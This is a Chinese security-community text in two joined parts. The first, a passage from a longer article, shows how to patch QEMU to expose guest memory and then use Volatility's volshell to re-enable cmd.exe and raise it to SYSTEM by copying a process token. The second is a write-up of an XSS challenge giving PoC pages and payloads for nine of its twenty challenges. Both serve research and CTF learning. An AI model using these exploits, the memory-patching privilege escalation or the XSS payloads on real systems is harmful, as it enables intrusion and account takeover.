qemukvm》](http://blog.oldcomputerjunk.net/2013/debugging-an-x86-bootloader-using-qemukvm/)等多篇文章详细讲解了QEMU或Bochs的使用方法。最重要的一点是，我们需要将-S
–s添加到QEMU，使其启动一个GDB服务器，并且立即停止等待连接的状态，如下所示：
./x86_64-softmmu/qemu-system-x86_64
-m 1024 -drive file=../targetdisk.qcow2,format=qcow2 -enable-kvm -monitor stdio -show-cursor -cpu core2duo -S -s
那么，为什么要调试和分析启动过程呢，原因在于：
**通过该步骤来获得密码（下文将会详细讲解）；**
**寻找密钥派生算法中是否存在漏洞；**
**查找隐藏的信息。**
虽然可能听起来难以置信，但一个全盘加密的产品很容易有上述漏洞。因此，我们对加密软件在早期阶段如何搜索加密数据进行分析，并初始化第一个解密操作，都是很有必要的。
此外，非常多的产品都有隐藏分区，而在隐藏分区中很可能潜藏着丰富的信息，这些信息可能会对我们的工作有所帮助。值得一提的是，当我们在研究透明全盘加密时，我们发现在早期的启动阶段，加密密钥总是会被混淆。
## 关于Guest虚拟内存
经过非常认真的考虑，我选择实时编辑Guest内存的方法，来实现对目标环境的完全控制。
在通常情况下，我们并不能通过QEMU轻易地找到想要的的内存。然而，来宾内存在QEMU进程内部被映射，我们可以通过这种方式来访问它。我们非常希望能通过一种清晰简单的方法，得到一个理想的文件，而Guest内存接口就是一个非常棒的方式。于是，我开始在网上寻找具体实现的方法。最后，我找到了一个[Panda的旧版本](https://github.com/moyix/panda)，这是Brendan
Dolan-Gavitt（@moyix）编写的一个非常流行的项目。
该版本有一个为Volatility而设置的接口，会通过UNIX套接字来暴露出完整的Guest内存。经过我们的确认，这个接口不仅提供了读取内存的功能，还提供了写入内存的功能。并且，它是轻量级的，可以在不同版本QEMU中轻易地进行移植。以下是暴露Guest内存所需要进行修改的文件列表：
**Makefile.target**
**hmp-commands.hx**
**memory-access.c**
**memory-access.h**
**monitor.c**
让我们一起看看，如何使用最新版本的QEMU对上述文件进行修改。我常用的方法是，在修改之前，首先确保目标软件可以编译并能够正常工作。我们只需要按照QEMU官网上的[说明](https://www.qemu.org/download/#source)进行操作即可：
git
clone git://git.qemu.org/qemu.git
cd
qemu
git
submodule init
git
submodule update --recursive
./configure
make
在这里，希望大家能够先认真阅读说明，然后再执行操作。因为该操作将会编译全部内容，需要很长的时间，假如盲目地执行有可能会耗费很多不必要的时间。由于我们只需要x86_64的支持，就可以先确定是否还有其他可用的目标，然后仅对目标进行编译，这样一来就大大缩短了编译的时间：
make
help
make
subdir-x86_64-softmmu
如果操作全部无误，我们现在应该可以引导此前创建地qcow2映像了，命令如下所示：
./x86_64-softmmu/qemu-system-x86_64
-m 1024 -drive file=../targetdisk.qcow2,format=qcow2 -enable-kvm -monitor stdio
-show-cursor -cpu core2duo
在上面的命令中，最重要的部分就是-cpu命令，因为QEMU并不是太兼容Win10系统，所以就需要我们来指定一个特定的CPU模型。幸运的是，这是很容易解决的，我们只要去百度Windows中弹出的带有QEMU关键词的错误提示就可以。现在，我们已经掌握了QEMU源编译的方法，而且已经启动了磁盘映像。接下来，就可以着手去获得我们所需的功能。首先，让我们先清理目录，并创建一个单独的分支：
make
distclean
git
checkout -b expose-guest-memory
其目的在于，假如我们操作失误，那么就可以抛弃掉这个分支，重头来过。我们从Panda项目中复制文件，保存到QEMU分支的根目录下，并且对相关的文件进行编辑。假如你已经知道，面对陌生的代码应该如何操作，你可以跳过下一节的阅读。
## 间奏曲：找到正确的文件并进行修改
现在，我们已经做好了全部准备工作，让我们来看看是否能完成下面两件事：
**重新启用 cmd.exe；**
**将 cmd.exe提升到系统级。**
首先要提醒大家，据我所知，Volatility并不会在每次读/写操作后实时处理编辑后的内存。其实我认为，实时编辑的方案是完全可行的，但在这里，我们还是采用“暂停VM——编辑内存——恢复VM”的方式。假如我们基于硬件连接，并直接对内存进行攻击时，就没有“暂停”的选项可以使用，这个时候可以进行实时的内存编辑。针对这类情况，应该将本文中的方法，变为类似于初始化的搜索和替换方法。
我遇到过一个有趣的情况，就是当我在连接到实时QEMU内存或者暂停QEMU内存时，Volatility将无法找到KDBG块。如果使用pmemsave命令对内存进行转储（dump），则能够正常工作。解决此问题的方法是，人工指定DTB，这样Volatility就可以执行正确的内存地址转换。如果要获取地址，我们可以在QEMU控制台执行下列命令，并复制CR3的值：
info
registers
<snip>
IDT=
fffff80195f6c070 00000fff
CR0=80050031
CR2=0000000000c75000 CR3=00000000001aa000 CR4=000006f8
DR0=0000000000000000
DR1=0000000000000000 DR2=0000000000000000 DR3=0000000000000000
<snip>
如果想要列出进程，可以将Volatility的命令行修改成下面的内容：
python
vol.py -f /tmp/expmem --profile=Win10x64_14393 --dtb 0x001aa000 pslist
## 重新启用cmd.exe
我们首先需要弄清楚的是：是否有可能改变cmd.exe的执行流，以返回到非阻塞状态。为了解答这个问题，我们先从内存中转储cmd.exe，以确保我们是对完全相同的版本进行操作。在我的自行尝试过程中，就没有注意到这一点，因此我也付出了一些时间上的代价。
我们可以使用procdump来转储cmd.exe，这是一个Volatility的插件，可以将进程转储回可执行文件中：
python
vol.py -f /tmp/expmem --profile=Win10x64_14393 --dtb 0x001aa000 procdump -n
'cmd.exe' -D to/
现在，我们就有了可执行文件，我们这时就可以使用自己最熟悉的反编译器对其进行反编译，在这里将以IDA为例。此外，radare2或x64dbg也同样有效，但是我们要知道，转储后的可执行文件可能会有一小部分损坏。我们需要关注它的符号关联以及可用性，这样能使逆向工作更加轻松。
在将静态输出与调试版本进行比较后，我们需要弄清楚事实的真相。由于可执行文件并没有被混淆，所以对我们来说，这是一个非常棒的练习机会，我将用不同的方法（静态及调试）来追踪代码：
搜索注册表项“DisableCMD”
搜索名称中带有“exit”的函数；
步进整个执行过程。
这样一来，我们将会进入到如下代码段中：
在这里，我们可以得到一些经验：
**1. 我们是基于变量，做出的选择；**
**2. 一个好的选择，可以让我们得到可用的Shell；**
**3. 一个坏的选择，导致我们的程序块：**
**(1) 打印出没有用的信息，**
**(2) 暂停并且等待任意键继续，**
**(3) 退出Shell。**
如果我们想要重新启用cmd.exe，那么我们必须将上面的3.2变成2。这一点可以非常容易的完成，只需要跳转到相应的位置就可以。而且，由于在其之后的代码并不重要，所以如果我们需要一些空间，甚至可以将其去掉。要计算跳转（JUMP）的操作码，我们就需要计算mov
ecx, esi和xor ecx,
ecx地址之间的距离，ecx是一个简单的减操作，我们得到的值是0xB352（十进制的45906）。我们在计算距离后，就可以跳转到后面。在这一步，我尝试寻找简单的方法来生成操作码，最终在这个网站中，我们找到了[一些可以节省编译时间的方法](https://defuse.ca/online-x86-assembler.htm)。
现在，我们就可以将下面内容输入到汇编textbox中，检查x64并且开始汇编：
jmp $-45906
这就意味着，我们希望从当前的位置向后跳转指定数量的字节。在输出中，甚至提供了一个非常友好的脚本格式：
"xE9xA9x4CxFFxFF"
现在，让我们用Volatility和Volshell修改内存中的相应位置。
python
vol.py -f /tmp/expmem --profile=Win10x64_14393 --dtb 0x001aa000 -w
volshellVolatility Foundation Volatility Framework 2.6
Write
support requested. Please type "Yes, I want to enable write support"
below precisely (case-sensitive):
Yes,
I want to enable write support
Connecting
to: /tmp/expmem
SUCCESS:
Connected to: /tmp/expmem
Current
context: System @ 0xffff80052585d040, pid=4, ppid=0 DTB=0x1aa000
Welcome
to volshell! Current memory image is:
file:///tmp/expmem
To
get help, type 'hh()'
如你所见，在这里最重要的标志是-w，如果没有它，我们将无法写入。由于使用的是IDA，我们已经知道了确切的内存位置，所以修改内存就变得非常简单：
>>>
cc(name='cmd.exe')
Current
context: cmd.exe @ 0xffff800526cb3800, pid=1912, ppid=2400 DTB=0x3c554000
>>>
proc().get_process_address_space().write(0x7ff6340eac93,'xE9xA9x4CxFFxFF')
True
>>>
dis(0x7ff6340eac93)
0x7ff6340eac93
e9a94cffff JMP 0x7ff6340df941
0x7ff6340eac98
ff DB 0xff
0x7ff6340eac99
ffcc DEC ESP
0x7ff6340eac9b
33c9 XOR ECX, ECX
现在，我们可以在QEMU控制台中输入命令c（继续）来恢复VM。当我们命中了cmd.exe中的某个键时，就应该能得到下图这样的可以利用的cmd.exe：
## 将cmd.exe提升到系统级
我不久前阅读了一篇[很棒的文章](https://blog.xpnsec.com/becoming-system/)，该文章借助WinDBG，展现了在Windows环境下如何进行该操作。接下来，我们试一下能否将相同的技术移植到Volatility中。
**事实上，由于
Volatility拥有完整的结构，并且它已经对数据进行了分析，所以这一步进行得非常容易，只要有几行Volshell，我们就能将其提升至系统。**
首先，我们从系统进程中获得系统Token：
>>> cc(pid=4)
>>> hex(proc().Token.obj_offset)
'0xffff80052585d398L'
>>> db(proc().Token.obj_offset)
0xffff80052585d398 86 59 e1 e3 8d bc ff ff 00 00 00 00 00 00 00 00 .Y..............
0xffff80052585d3a8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
在这里，我将实际Token的地址标红，这就是我们将要写入cmd.exe进程中的内容：
>>>
cc(name='cmd.exe')
>>>
hex(proc().Token.obj_offset)
'0xffff800526cb3b58L'
>>>
proc().get_process_address_space().write(0xffff800526cb3b58,"x86x59xe1xe3x8dxbcxffxff")
True
由此，我们最终得到了所希望的系统级权限：
## 总结
加密是一件非常好的安全措施，但它需要正确地应用。我们还需要知道，加密并不是万能的。当你下次遇到加密的系统时，我希望你不要放弃，开始研究加密是如何应用的，以及是否有变通的方法实现攻击。本文所涉及到的文件请在[这里](https://gist.github.com/DiabloHorn/d0d9745f053412ed672645e127e7301e)查看，但是如果你的QEMU版本不同，你可能需要对它们进行适当的修改，或者也可以考虑使用[原始的Panda
git](https://github.com/moyix/panda)。 | 社区文章 |
# Xss挑战赛 - L3m0n writeup
XSS#01. Mannix,L3m0n,Aegis,xq17,nearg1e,mogujie@蘑菇街,evi1m0,w4f05,phantom0301,blackwolf
XSS#02. L3m0n,mogujie@蘑菇街,Aegis,evil7,PKAV
XSS#03. L3m0n,mogujie@蘑菇街,Mazing
XSS#04. zusheng,feiyu,Mannix,Evi14ui,L3m0n,V@1n3R,Scriptkid,xq17,Mathias,mogujie@蘑菇街,evi1m0,nearg1e,Mazing,Aegis,maya66,w4f05,RickyHao,DK,phantom0301
XSS#05. evi1m0,zusheng,xq17,V@1n3R,riverheart(河流之心),L3m0n,Mathias,phantom0301
XSS#06. Flyin9(数据流),xq17,kingdom017,L3m0n,evi1m0,evil7,Mathias,DK,Scriptkid,Aegis,phantom0301,blackwolf
XSS#07. evi1m0,MagicBlue,L3m0n,riverheart(河流之心),xq17,Aegis,PKAV,RickyHao,Mathias
XSS#08. PKAV,L3m0n
XSS#09. L3m0n
XSS#10. evi1m0,z0z,L3m0n,riverheart(河流之心),xq17,nearg1e,Mathias,phantom0301,Ox9A82
XSS#11. L3m0n,nearg1e,evi1m0,RickyHao,Mathias
XSS#12. L3m0n,Mathias,PKAV,phantom0301
XSS#13. nearg1e,Mannix,p4ny,Scriptkid,xq17,L3m0n,Mathias,evi1m0,mogujie@蘑菇街,DK,maya66,wps2015,RickyHao,Aegis,riverheart(河流之心),PKAV,phantom0301,w4f05
XSS#14. Mannix,Scriptkid,z0z,evi1m0,xq17,Evi14ui,p4ny,L3m0n,V@1n3R,feiyu,朽木,秋风,Mazing,raul17,Mathias,mogujie@蘑菇街,L1p,TaeJa,DK,omego,gethin,w4f05,小毒物,wps2015,RickyHao,Aegis,update,PKAV,blackwolf,nearg1e,ding13,phantom0301
XSS#15. PKAV,L3m0n,evi1m0,Mathias
XSS#16. L3m0n,riverheart(河流之心),xq17,Mannix,feiyu,evi1m0,PKAV,Mathias,RickyHao
XSS#17. L3m0n,evi1m0,mogujie@蘑菇街,Mathias,nearg1e,Scriptkid,Aegis,仲ma,p4ny,DK,xq17,wps2015,evil7,PKAV,blackwol,Evi14ui,phantom0301,Ox9A82
XSS#18. L3m0n,PKAV,evi1m0,xq17
XSS#19. 落
XSS#20. evil7,evi1m0
番外篇#01. 落
### 0\. 说明
玩了挺久的一个挑战，整个过程中被虐到变形，感谢M师傅的小课堂，学习到很多新姿势.
**Writeup中的ref为M师傅出题的参考链接**
* * *
M师傅语录:
题目很多围绕着security header来出题，希望开发者重视这些问题，在防御上，正确的设置下面的值，是能够避免很多问题.
content-type、x-xss-protection、x-frame-options、x-content-type-options
* * *
挑战地址暂时关闭，后期会放出源代码
题目要求:
所有XSS题目均可以通过让受害者访问特定的链接或页面的方式在受害者的浏览器&当前域下执行JavaScript。
有些题目可能需要在特定的浏览器下完成。浏览器版本以Chrome60,Firefox55,Safari10,IE11,Edge40或更新版本为准。
POC通过验证后我会把你的id添加到解题成功者的列表里。Have fun!
XSS#01. 文件上传 (添加时间:2017-08-15)---->查看源码---->点我看提示
XSS#02. getallheaders() (添加时间:2017-08-15)---->查看源码---->点我看提示
XSS#03. json (添加时间:2017-08-15)---->查看源码---->点我看提示
XSS#04. referrer (添加时间:2017-08-15)---->查看源码---->点我看提示
XSS#05. 跳转 (添加时间:2017-08-15)---->查看源码---->点我看提示
XSS#06. 强制下载 (添加时间:2017-08-15)---->查看源码---->点我看提示
XSS#07. text/plain (添加时间:2017-08-15)---->查看源码---->点我看提示
XSS#08. 标签 (添加时间:2017-08-15)---->查看源码---->点我看提示
XSS#09. plaintext (添加时间:2017-08-16)---->查看源码---->点我看提示
XSS#10. MVM (添加时间:2017-08-16)---->查看源码---->点我看提示
XSS#11. HOST (添加时间:2017-08-17)->查看源码---->点我看提示
XSS#12. preview (添加时间:2017-08-17)---->查看源码---->点我看提示
XSS#13. REQUEST_URI (添加时间:2017-08-17)---->查看源码---->点我看提示
XSS#14. HIDDEN (添加时间:2017-08-18)---->查看源码---->点我看提示
XSS#15. Frame Buster (添加时间:2017-08-18)---->查看源码---->点我看提示
XSS#16. PHP_SELF (添加时间:2017-08-18)---->查看源码---->点我看提示
XSS#17. passive element (添加时间:2017-08-23)---->查看源码---->点我看提示
XSS#18. Graduate (添加时间:2017-08-23)---->查看源码---->点我看提示
XSS#19. Party (添加时间:2017-08-25)---->查看源码---->点我看提示
XSS#20. The End (添加时间:2017-08-25)---->查看源码---->点我看提示
番外篇#01. JQuery (此题属于番外篇，对排名没有影响。 添加时间:2017-08-27)---->查看源码---->点我看提示
### 1\. 文件上传
<?php
header("X-XSS-Protection: 0");
$target_dir = "uploads/";
$target_file = $target_dir . basename($_FILES["fileToUpload"]["name"]);
$uploadOk = 1;
$imageFileType = pathinfo($target_file,PATHINFO_EXTENSION);
// Check if image file is a actual image or fake image
if(isset($_POST["submit"])) {
$check = getimagesize($_FILES["fileToUpload"]["tmp_name"]);
if($check !== false) {
echo "File is an image - " . $check["mime"] . ".<BR>";
$uploadOk = 1;
} else {
echo "File is not an image.";
$uploadOk = 0;
}
}
// Check if file already exists
if (file_exists($target_file)) {
echo "Sorry, file already exists.";
$uploadOk = 0;
}
// Check file size
if ($_FILES["fileToUpload"]["size"] > 500000) {
echo "Sorry, your file is too large.";
$uploadOk = 0;
}
// Allow certain file formats
if($imageFileType != "jpg" && $imageFileType != "png" && $imageFileType != "jpeg"
&& $imageFileType != "gif" ) {
echo "Sorry, only JPG, JPEG, PNG & GIF files are allowed.";
$uploadOk = 0;
}
// Check if $uploadOk is set to 0 by an error
if ($uploadOk == 0) {
echo "Sorry, your file was not uploaded.";
// if everything is ok, try to upload file
} else {
echo "The file ". basename( $_FILES["fileToUpload"]["name"]). " has been uploaded.";
}
?>
<http://xianzhi.aliyun.com/xss1.php>
此题xss点是在文件上传后，页面会显示文件名，但是有一个问题就是，如何自动化的利用？
毕竟js上传文件有跨域问题，那么也就只能利用html表单
通过这样的思路找到还可以利用html表单上传文件?
<http://blog.bentkowski.info/2015/05/xss-via-file-upload-wwwgooglecom.html>
其实文件并没有上传，只是利用表单的name，闭合一下后添加了fielname
正常文件上传：
带有content-type
伪造文件上传:
不带有content-type，但是`$_FILES["fileToUpload"]["name"]`还是可以接受到值的
所以可以构造一下Exp:
<http://ns1.rootk.pw:8080/xss/wp/1.html>
<html>
<body>
<form id="xss" action="http://xianzhi.aliyun.com/xss1.php" method="POST" enctype="multipart/form-data">
<textarea type="text" id="vulnerable" value="" /></textarea>
</form>
<script>
var tarfile = "test";
var vuln = document.getElementById('vulnerable');
vuln.name = "x\"; name=fileToUpload; filename=\"<img src=1 onerror=alert(document.domain)>.jpg";
vuln.value = (tarfile);
document.getElementById("xss").submit();
</script>
</body>
</html>
当时自己并非用的`textarea`标签，而是input，这个标签只能用到IE8，之后的版本会对双引号进行url编码
ref: <http://kuza55.blogspot.hk/2008/02/csrf-ing-file-upload-fields.html>
### 2\. getallheaders()
<?php
header('Pragma: cache');
header("Cache-Control: max-age=".(60*60*24*100));
header("X-XSS-Protection: 0");
?>
<html>
<head>
<meta charset=utf-8>
<head>
<body>
<?php
if(isset($_SERVER['HTTP_REFERER']))
{
echo "Bad Referrer!";
}
else
{
foreach (getallheaders() as $name => $value) {
echo "$name: $value\n";
}
}
?>
</body>
</html>
<http://xianzhi.aliyun.com/xss2.php>
此题就是会把HTTP所有信息输出到页面，但是不能使用Referrer
问题也很明显，请求这个地址，而且又是能够利用代码自动化的添加头去请求.
这里面特别要注意的是开始的两个头
header('Pragma: cache');
header("Cache-Control: max-age=".(60*60*24*100));
也就是浏览器会对网页进行缓存，那么如果第一次我能够修改http头然后再进行跨域请求，第二次再请求一次的时候，http的信息还是不会变的，因为直接读取了本地缓存内容.
所以可以使用`Fetch`先请求，在利用iframe框架进行第二请求，另外注意的就是需要通过meta标签来设置一下referrer，也就是第二次iframe加载的时候是不带referer的.按道理可以在FF下面也成功，不过好像FF不支持meta这样禁止referer
Chrome Exp:
<http://ns1.rootk.pw:8080/xss/wp/2.php>
<html>
<head>
<meta name="referrer" content="never">
<script>
var request = new Request('http://xianzhi.aliyun.com/xss2.php', {
method: 'GET',
mode: 'no-cors',
redirect: 'follow',
headers: new Headers({
'Content-Type': 'text/plain',
'Accept': 'application/jsona<img src=1 onerror=alert(document.domain)>',
})
});
fetch(request).then(function() {
console.log(1);
});
</script>
</head>
<body>
<iframe src="http://xianzhi.aliyun.com/xss2.php"></iframe>
</body>
</html>
ref: <https://www.w3.org/TR/cors/#simple-header>
### 3\. json
<?php
header("Content-Type:application/json;charset=utf-8");
header("X-XSS-Protection: 0");
echo '{"errno":0,"error":"","data":{"user":{"id":"2","user_name":"\u4e13\u4e1a\u6295\u8d44\u4ebafh","email":"","mobile":"139****0002","intro":"'.$_GET["value"].'","address":null,"photo":"\/avatar\/000\/00\/00\/02virtual_avatar_big.jpg","user_uuid":"779ab6bd7e2df90c37f1e892","header_url":"\/avatar\/000\/00\/00\/02virtual_avatar_big.jpg","user_id":"2","is_real_name":0,"is_real_name_string":"\u672a\u5b9e\u540d\u8ba4\u8bc1","real_name":"\u5c24\u6654","is_investor":0,"is_leader_investor":1,"cetificate_id":"511********4273","focus_area":["\u91d1\u878d:\u91c7\u8d2d\u7269\u6d41:\u80fd\u6e90\u73af\u4fdd:\u6cd5\u5f8b\u6559\u80b2:"],"third_party":[{"openid":"1212","type":1,"is_band":1},{"openid":"2oiVL4wNxso9ttarGMIoVa1q-w8kU","type":1,"is_band":1}]}}}'
?>
<http://xianzhi.aliyun.com/xss3333.php?value=test>
这个题目问题在于返回头是`application/json`，又应该如何xss
这里利用了IE一个bug，参考文章：<http://www.qingpingshan.com/jb/javascript/184536.html>
IE11 Exp:
<http://ns1.rootk.pw:8080/xss/wp/3.html>
3.html
<meta charset=utf-8>
<iframe id=x src=3.php></iframe>
<script>
x.location.reload();
</script>
3.php
<?php
header("location: http://xianzhi.aliyun.com/xss3333.php?value=%3Cimg%20src=x%20onerror=alert(document.domain)%3E");
?>
修复方案: 加上响应头，`X-Content-Type-Options: nosniff`
### 4\. Referer
<?php
header("X-XSS-Protection: 0");
?>
<html>
<head>
<meta charset="utf-8">
</head>
<body>
<?php echo "你来自:".$_SERVER['HTTP_REFERER'];?>
</body>
</html>
<http://xianzhi.aliyun.com/xss4.php>
输出点是referer，chrome、firefox会对query进行url编码，但是IE并不会
参考文章:
<http://www.mottoin.com/88317.html>
捉到一个M师傅：<http://www.hackdig.com/?04/hack-9586.htm>
IE11 exp: `http://ns1.rootk.pw:8080/xss/wp/4.html?a<img src=1
onerror=alert(document.domain)>`
<html>
<body>
<form id="xss"
name="xss"
method="GET"
action="http://xianzhi.aliyun.com/xss4.php">
</form>
<script>
document.getElementById("xss").submit();
</script>
</body>
</html>
* * *
M师傅语录:
Referrer不会被URL编码的现象，主要是在Windows7和Windows8.1
Win10的IE11以前也有，不过在打完Anniversary
Update补丁之后，在对referrer的处理上做了一些改动。变成了会对referrer进行URL编码
所以比较通用的办法是通过flash发送请求，AS代码如下：
package {
import flash.display.Sprite;
import flash.net.URLRequest;
import flash.net.navigateToURL;
public class xss_referrer extends Sprite{
public function xss_referrer() {
var url:URLRequest = new URLRequest("https://vulnerabledoma.in/xss_referrer");
navigateToURL(url, "_self");
}
}
}
Ref:<http://masatokinugawa.l0.cm/2016/10/referrer-xss-win10.html>
* * *
另外在找资料也看到一些东西，记录一下
# 会传送referer
https->https
http->https
http->http
# 不会传送refer
https->http
### 5\. 跳转
<?php
header("X-XSS-Protection: 0");
$url=str_replace(urldecode("%00"),"",$_GET["url"]);
$url=str_replace(urldecode("%0d"),"",$url);
$url=str_replace(urldecode("%0a"),"",$url);
header("Location: ".$url);
?>
<html>
<head>
<meta charset="utf-8">
</head>
<body>
<?php echo "<a href='".$url."'>如果跳转失败请点我</a>";?>
</body>
</html>
<http://xianzhi.aliyun.com/xss5.php?url=http://baidu.com>
这个问题主要是想办法去让浏览器不进行跳转.
翻到p师傅blog曾经对bottle http注入的一段: <https://www.leavesongs.com/PENETRATION/bottle-crlf-cve-2016-9964.html>
这里我使用的是端口小于80，FF就不会进行跳转
FF exp:
http://xianzhi.aliyun.com/xss5.php?url=http://baidu.com:0/'%3E<img src=1 onerror=alert(document.domain)><a>
ref: <http://d.hatena.ne.jp/hasegawayosuke/20161210/p1>
### 6\. 强制下载
<?php
header("X-XSS-Protection: 0");
header('Content-Disposition: attachment; filename="'.$_GET["filename"].'"');
if(substr($_GET["url"],0,4) ==="http" && substr($_GET["url"],0,8)<>"http://0" && substr($_GET["url"],0,8)<>"http://1" && substr($_GET["url"],0,8)<>"http://l" && strpos($_GET["url"], '@') === false)
{
$opts = array('http' =>
array(
'method' => 'GET',
'max_redirects' => '0',
'ignore_errors' => '1'
)
);
$context = stream_context_create($opts);
$url=str_replace("..","",$_GET["url"]);
$stream = fopen($url, 'r', false, $context);
echo stream_get_contents($stream);
}
else
{
echo "Bad URL!";
}
?>
[http://xianzhi.aliyun.com/xss6.php?filename=download&url=http://xianzhi.aliyun.com/xss2.php](http://xianzhi.aliyun.com/xss6.php?filename=download&url=http://xianzhi.aliyun.com/xss2.php)
这个是需要绕过文件下载，在第5题中p师傅的文章里面提到了一个点
为PHP的header函数一旦遇到\0、\r、\n这三个字符，就会抛出一个错误，此时Location头便不会返回，浏览器也就不会跳转了
同理是可以用在文件下载中
FF exp:
http://xianzhi.aliyun.com/xss6.php?url=http://ns1.rootk.pw:8080/xss/wp/6.php&filename=aaa%0a
ref: <https://twitter.com/mramydnei/status/782324732897075200>
### 7\. text/plain
<?php
header("X-XSS-Protection: 0");
header('Content-Type: text/plain; charset=utf-8');
if(substr($_GET["url"],0,4) ==="http" && substr($_GET["url"],0,8)<>"http://0" && substr($_GET["url"],0,8)<>"http://1" && substr($_GET["url"],0,8)<>"http://l" && strpos($_GET["url"], '@') === false)
{
$opts = array('http' =>
array(
'method' => 'GET',
'max_redirects' => '0',
'ignore_errors' => '1'
)
);
$context = stream_context_create($opts);
$url=str_replace("..","",$_GET["url"]);
$stream = fopen($url, 'r', false, $context);
echo stream_get_contents($stream);
}
else
{
echo "Bad URL!";
}
?>
<http://xianzhi.aliyun.com/xss7.php?url=http://xianzhi.aliyun.com/xss2.php>
MIME的题目，返回头Type为text/plain应该如何绕过
找到一个近期公布的IE 0day
<https://jankopecky.net/index.php/2017/04/18/0day-textplain-considered-harmful/>
利用的是email文件，里面的内容会被解析html，这里可以利用iframe来加载目标地址，这样内容就会被解析啦。
IE exp:
<http://ns1.rootk.pw:8080/xss/wp/9.eml>
9.eml
TESTEML
Content-Type: text/html
Content-Transfer-Encoding: quoted-printable
=3Ciframe=20src=3D=27http=3A=2f=2fxianzhi.aliyun.com=2fxss7.php=3Furl=3Dhttp=3A=2f=2fns1.rootk.pw=3A8080=2fxss=2fwp=2f9.txt=3Fname=3D=3CHTML=3E=3Ch1=3Eit=20works=3C=2Fh1=3E=27=3E=3C=2Fiframe=3E
防御：这里多亏M师傅的提醒，文章中的`X-Content-Type-Options: nosniff`是可以防御的，相反`X-Frame-Options:
DENY`并不能从根本去解决这个问题，这个只是防御了一种攻击方式，但是漏洞点却还在，真是留了一个大坑.
ref: <https://jankopecky.net/index.php/2017/04/18/0day-textplain-considered-harmful/>
### 8\. 标签
<?php
header("X-XSS-Protection: 0");
header("Content-Type: text/html;charset=utf-8");
if(substr($_GET["url"],0,4) ==="http" && substr($_GET["url"],0,8)<>"http://0" && substr($_GET["url"],0,8)<>"http://1" && substr($_GET["url"],0,8)<>"http://l" && strpos($_GET["url"], '@') === false)
{
$rule="/<[a-zA-Z]/";
$opts = array('http' =>
array(
'method' => 'GET',
'max_redirects' => '0',
'ignore_errors' => '1'
)
);
$context = stream_context_create($opts);
$url=str_replace("..","",$_GET["url"]);
$stream = fopen($url, 'r', false, $context);
$content=stream_get_contents($stream);
if(preg_match($rule,$content))
{
echo "XSS Detected!";
}
else
{
echo $content;
}
}
else
{
echo "Bad URL!";
}
?>
<http://xianzhi.aliyun.com/xss8.php?url=http://xianzhi.aliyun.com/test.txt>
此题想考察的是`<`后面还可以存在非字母形式的，空格等一些空白字符当然是不行的.
<https://dev.w3.org/html5/spec-LC/parsing.html>
A sequence of bytes starting with: 0x3C 0x21 (ASCII '<!')
A sequence of bytes starting with: 0x3C 0x2F (ASCII '</')
A sequence of bytes starting with: 0x3C 0x3F (ASCII '<?')
可以看到还能以这些作为开头，在IE9、10里面有一个vector可以无交互执行js
8.txt
<% contenteditable onresize=alert(document.domain)>
现在问题就是IE11这个是无法触发的，但是可以通过`x-ua-compatible`设置文档兼容性，让它也能够兼容IE9、10的内容
**即便iframe内页面和父窗口即便不同域，iframe内页面也会继承父窗口的兼容模式，所以IE的一些老技巧、特性可以通过此方法去复活它.**
IE11 exp:
<http://ns1.rootk.pw:8080/xss/wp/8.html>
8.html
<meta http-equiv=x-ua-compatible content=IE=9>
<iframe id=x src="http://xianzhi.aliyun.com/xss8.php?url=http://ns1.rootk.pw:8080/xss/wp/8.txt"></iframe>
### 9\. plaintext
<?php
header("X-XSS-Protection: 0");
header("Content-Type: text/html;charset=gb3212");
?>
<plaintext><?php echo $_GET["text"];?>
<http://xianzhi.aliyun.com/xss9.php?text=test>
代码简单，但是绝对够爽的一道题目，就是如何逃逸`plaintext`这个标签
我们有时候在使用浏览器的时候，也会遇到编码不同导致乱码问题，这个问题主要在于服务端和客户端之间的字符集存在差异导致的.
关于这个也找到一篇文章：<https://www.ibm.com/developerworks/cn/web/wa-lo-ecoding-response-problem/index.html>
上面的由于两端的差别导致的乱码，从xss角度出发，我们也就只能分析客户端
所以问题来了： **http的响应头的编码、页面的meta等都可以设置头的东西，那么具体是什么时候具体对应的会起作用?**
先来了解一下浏览器的一些解析过程.
<https://dev.w3.org/html5/spec-LC/parsing.html>
第一个是ua里面已经确认指明了才会选择
第二个是http响应头大编码设置，也就是`Content-Type`，当它设置了`charset` **并且**
支持这个`charset`，也就是不为空并且字符集是存在的，题目的编码是不存在的编码`GB3212`，所以符合
第三个就是<font style="color:
red">如果meta标签设置编码是在html前1024个字节的时候，浏览器会根据这个编码去解析</font>，这个是浏览器直接解析，完全是不受`plaintext`影响
所以第一步就是 **利用meta来改变页面的字符集**.
第二步，需要做的就是去 **利用字符集之间的差异，寻找异类的字符集** ，
我们平常见到`<`的编码是`\x3C`，但是这个是UTF-8的，在其他编码的字符集中就有可能不是这个结果了，这里使用的是`cp1025`编码
http://xianzhi.aliyun.com/xss9.php?text=<meta http-equiv="content-Type" content="text/html; charset=cp1025">
可以看到`plaintext`已经不见了
第三步，确认异类字符集的编码表，这样就可以构造好自己的payload
这里需要跑一下来确认.
fuzz.php
<meta http-equiv="content-Type" content="text/html; charset=gb3212">
<?php
if(!ini_get('safe_mode')){
set_time_limit(0);
}
header("X-XSS-Protection: 0");
header("Content-Type: text/html;charset=gb3212");
?>
<html>
<head></head>
<body></body>
<script>
function hex_pad(int_){
hex_ = int_.toString(16);
if(hex_.length==1){
hex_ = '0'+hex_;
}
return hex_;
}
for(var i=0;i<255;i++){
var id = 'id_'+hex_pad(i);
var divO = document.createElement('div');
divO.id = id;
divO.innerHTML = hex_pad(i);
document.body.appendChild(divO);
var iframea = document.createElement('iframe');
iframea.src= 'http://a.com/test/xss/xsschange/9/game.php?text='+"%"+hex_pad(i);
document.getElementById(id).appendChild(iframea);
}
</script>
</html>
其中还有一个game.php作为接口，利用iframe去得到字符集
<?php
header("X-XSS-Protection: 0");
header("Content-Type: text/html;charset=cp1025");
?>
<?php echo @$_GET["text"];?>
这里就表明了，比如想要得到字符`m`，那就输入url编码`%94`
附上一点`cp1025`的编码
< %4c
> %6e
/ %61
( %4d
) %5d
= %7e
; %5e
' %7d
IE payload：
http://xianzhi.aliyun.com/xss9.php?text=<meta http-equiv="content-Type" content="text/html; charset=cp1025">%4c%89%94%87%01%a2%99%83%7e%f1%01%96%95%85%99%99%96%99%7e%81%93%85%99%a3%4d%f1%5d%0b%6e
PS: 关于`meta`的一些使用语法可以看看这.
`https://www.w3.org/TR/html401/struct/global.html#h-7.4.4`
